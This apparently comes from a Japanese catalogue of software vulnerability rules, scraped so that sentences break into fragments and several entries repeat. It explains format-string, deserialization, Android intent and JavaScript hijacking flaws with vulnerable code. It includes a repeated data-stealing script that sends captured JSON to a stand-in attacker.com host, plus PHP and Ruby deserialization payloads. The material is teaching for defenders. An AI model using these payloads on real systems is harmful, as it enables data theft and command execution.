sprintf()
、FormatMessageW()
、または syslog()
などの関数に渡される場合。snprintf()
を使用してコマンド ライン引数をバッファにコピーしています。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
など) を入力することでスタックから読み取ることができます(この例では、関数はフォーマットのための引数を取っていません)。%n
書式指定子を使用することで攻撃者はスタックに書き込み、snprintf()
にそこまでの出力バイト数を指定した引数に書き出させることができます (引数から値を読み出すのが本来の動作です)。この攻撃を高度にしたものは、タイミングをずらして 4 回書き込みを行うことで、スタック上のポインタ値を完全に支配下に置きます。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
で挙げたような、タイミングをずらして 4 回書き込みする手間を大幅に軽減することができます。syslog()
関数は、ときおり次のように使用されます。
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
の 2 番目のパラメーターは Format String なので、cmdBuf
に含まれる書式指定子は Example 1
に記載したのと同様に解釈されます。syslog()
の正しい使用例です。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
、または NSString.stringWithFormat
などの関数に渡される場合。NSString.stringWithFormat:
で Format String としてコマンド ライン引数を使用しています。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
など) を入力することでスタックから読み取ることができます(この例では、関数はフォーマットのための引数を取っていません)。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
で挙げたような、タイミングをずらして 4 回書き込みする手間を大幅に軽減することができます。syslog()
関数は、ときおり次のように使用されます。
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
の 2 番目のパラメーターは Format String なので、cmdBuf
に含まれる書式指定子は Example 1
に記載したのと同様に解釈されます。syslog()
の正しい使用例です。例 4: Apple コア クラスは、Format String の脆弱性を悪用するための方法を提供しています。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
関数は、ときおり次のように使用されます。
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
の正しい使用例です。
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
など境界が定められた関数の場合も、不正に使用されると脆弱性の原因になります。メモリの操作と、データのサイズや構成に関する誤った想定が同時に発生することが、大部分の Buffer Overflow の根本的な原因です。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
など境界が定められた関数の場合も、不正に使用されると脆弱性の原因になります。メモリの操作と、データのサイズや構成に関する誤った想定が同時に発生することが、大部分の Buffer Overflow の根本的な原因です。%d
を使用して、浮動小数点数から f
を不正に変換しています。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
タグについて考えてみましょう。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外の Web サイトでこのタグが表示される場合、このサイトは www.example.com
に依存し、正しい悪意のないコードが提供されます。攻撃者が www.example.com
を乗っ取っている場合、fancyWidget.js
の内容を改変して、サイトのセキュリティが侵害される場合があります。たとえば、fancyWidget.js
にユーザーの機密情報を盗むコードが追加される可能性があります。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
を指定していますが、さらに name=alice&
を追加しています。これが最初に出現するサーバーで使用されると、alice
になりすましてそのアカウントに関する情報をさらに取得します。
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
が検出されています。暗黙的な内部インテントにより、システムが内部コンポーネントに対する中間者攻撃にさらされる可能性があります。Intent
は、内部コンポーネントによって定義されたカスタム アクションを使用します。暗黙的なインテントを使用すると、特定のコンポーネントを知らなくても、外部コンポーネントからのインテントの呼び出しが容易になります。この 2 つを組み合わせることで、アプリケーションは、目的のアプリケーション コンテキストの外部から、特定の内部使用のために指定されたインテントにアクセスできるようになります。Intent
を処理できることにより、情報漏洩や Denial of Service からリモート コード実行に至るまで、Intent
で指定された内部アクションのキャパシティに応じて、さまざまな深刻度の中間者攻撃が可能になります。Intent
を使用しています。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
が検出されています。暗黙的なペンディング インテントは、Denial of Service、個人情報やシステム情報の漏洩、権限昇格などのセキュリティ上の脆弱性を引き起こす可能性があります。Intent
を提供するために作成されます。暗黙的インテントは、一般的な名前やフィルタを使用して実行を決定することで、外部コンポーネントからのインテントの呼び出しを容易にします。Intent
が PendingIntent
として作成されると、Intent
が、想定される一時的なコンテキスト外で実行されている、意図しないコンポーネントに送信される可能性があります。その結果、システムが、Denial of Service、個人情報やシステム情報の漏洩、特権昇格などの攻撃にさらされることになります。PendingIntent
を使用しています。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
FLAG_MUTABLE
に設定された PendingIntent
が検出されています。フラグ値 FLAG_MUTABLE
を使用して作成されたペンディング インテントでは、未指定の Intent
フィールドにダウンストリームを設定されやすく、その結果、Intent
のキャパシティが変更され、システムが攻撃にさらされやすくなります。PendingIntent
の基盤となる Intent
の変更を、作成後に許可すると、システムが攻撃にさらされやすくなります。これは主に、基盤となる Intent
の全体的な機能に依存します。ほとんどの場合、PendingIntent
フラグを FLAG_IMMUTABLE
に設定することが、潜在的な問題を防ぐためのベスト プラクティスです。FLAG_MUTABLE
を使用して作成された PendingIntent
が含まれています。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
を使用してアクティビティを開始し、サービスを開始し、ブロードキャストを配信すると、攻撃者は内部アプリケーション コンポーネントを自由に起動し、内部コンポーネントの振る舞いを制御し、一時的な権限許可を通してコンテンツ プロバイダーから保護データに間接的にアクセスできるようになる可能性があります。Intent
の Extras Bundle にネスト化された任意の Intent
を受け入れます。startActivity
、startService
、または sendBroadcast
を呼び出すことで、任意の Intent
を使用してコンポーネントを起動します。Intent
を受け入れ、その Intent
を使用してアクティビティを開始しています。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、GWT では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
メソッドに渡された javax.naming.directory.SearchControls
インスタンスで returningObjectFlag
を true
に設定するか、代わりにこのフラグを設定するライブラリ関数を使用することで、オブジェクトを返す検索を実行します。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
null
を戻すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。Item
プロパティによって戻される文字列が null
かどうかを、メンバー関数 Equals()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。malloc()
で戻されたポインタを使用する前に、メモリの割り当てが正しく行われたかチェックしていません。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
のコールが失敗に終わった理由が、req_size
の超過によるものか、許容範囲外の同時処理によるものか定かではありません。時間の経過とともに蓄積された Memory Leak によるものかも不明です。エラー処理を怠ると、原因を究明する術はありません。null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。getParameter()
によって戻される文字列が null
かどうかを、メンバー関数 compareTo()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。例 2:次のコードは、
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
に設定され、それが「常に定義される」という誤った前提でプログラマによって後から間接参照されるシステムプロパティを示します。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」unserialize()
関数に渡される前に適切にサニタイズされないときに発生します。攻撃者は特別製のシリアライズされた文字列を脆弱な unserialize()
コールに渡すことができ、アプリケーション スコープへの任意の PHP オブジェクト挿入を引き起こします。この脆弱性の重大度はアプリケーション スコープで利用可能なクラスに依存します。__wakeup
や __destruct
のような PHP マジック メソッドを実装したクラスは、攻撃者がそれらのメソッド内でコードを実行できるので、狙われます。__destruct()
マジックメソッドを実装し、クラスのプロパティとして定義されるシステム コマンドを実行する PHP クラスを示します。ここに、ユーザー指定データを使用した unserialize()
に対する安全でないコールもあります。
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
では、アプリケーションはシリアライズされた User
オブジェクトと予測される可能性がありますが、攻撃者は command
プロパティ向けの事前定義された値とともに SomeAvailableClass
のシリアル化されたバージョンを実際に提供できます。
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
オブジェクトに対するその他の参照がない場合にはデストラクタ メソッドがすぐに呼び出され、攻撃者により提供されたコマンドを実行します。unserialize()
が、BlackHat 2010 会議で Stefan Esser により紹介された、「Property Oriented Programming」として知られている技術を使用して呼び出されたときに、宣言された異なるクラスを繋げることができます。この技術により攻撃者は既存のコードを再利用してそのコード自身のペイロードを作成することができます。YAML.load()
のようなデータをデシリアライズする関数に渡される前に適切にサニタイズされないときに発生します。攻撃者は特別製のシリアライズされた文字列を脆弱な YAML.load()
コールに渡すことができます。その結果、デシリアライズの際にクラスがアプリケーションに読み込まれるのであれば、任意の Ruby オブジェクトをプログラムに挿入できます。これはさまざまな攻撃の機会を与える可能性があります。たとえば、Cross-Site Scripting の脆弱性を検出する検証ロジックをバイパスしたり、ハードコーディングされているように見える値で SQL Injectionを許したり、あるいは完全なコード実行を許すこともあります。YAML.load()
に対する安全でないコールもあります。
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
では、アプリケーションはシリアライズされた User
オブジェクトを要求する可能性があり、print_details
という名前の関数も与えられます。しかしながら、攻撃者は実際にはシリアライズされたバージョンの Transaction
オブジェクトとその @id
属性の事前定義された値を与えることができます。そのため、次のような要求は、@id
が数値であることを確認する検証チェックのバイパスを許可します。
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
user
パラメーターに !ruby/object:Transaction\nid:4 or 5=5\n
が割り当てられることがわかります。Transaction
型のオブジェクトが作成され、@id
が "4 or 5=5"
に設定されます。開発者は User#print_details()
をコールしているつもりでも、Transaction#print_details()
がコールされており、Ruby の文字列補間の結果、SQL クエリは SELECT * FROM transactions WHERE id=4 or 5=5
をクエリとして実行するように変更されます。句が追加されたことで、このクエリは true
として評価され、開発者が意図した単一行ではなく、transactions
テーブルにあるすべての行が返されます。YAML.load()
が、BlackHat 2010 会議で Stefan Esser により紹介された、「Property Oriented Programming」として知られている技術を使用して呼び出されたときに、宣言された異なるクラスを繋げることができます。この技術により攻撃者は既存のコードを再利用してそのコード自身のペイロードを作成することができます。clone()
メソッドは新規オブジェクトを取得するために super.clone()
をコールします。clone()
のすべての実装は super.clone()
をコールして新規オブジェクトを取得します。クラスがこの規定に従わない場合、サブクラスの clone()
メソッドは不正なタイプのオブジェクトを出力します。super.clone()
のコールをしなかったことが原因で発生したバグを示すものです。Kibitzer
が clone()
を実装する方法のため、FancyKibitzer
の clone メソッドはタイプ FancyKibitzer
ではなく、タイプ Kibitzer
のオブジェクトを返します。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}
Equals()
と GetHashCode()
のいずれかひとつを定義します。a.Equals(b) == true
の場合は a.GetHashCode() == b.GetHashCode()
です。 Equals()
を上書きしますが、GetHashCode()
は上書きしません。
public class Halfway() {
public override boolean Equals(object obj) {
...
}
}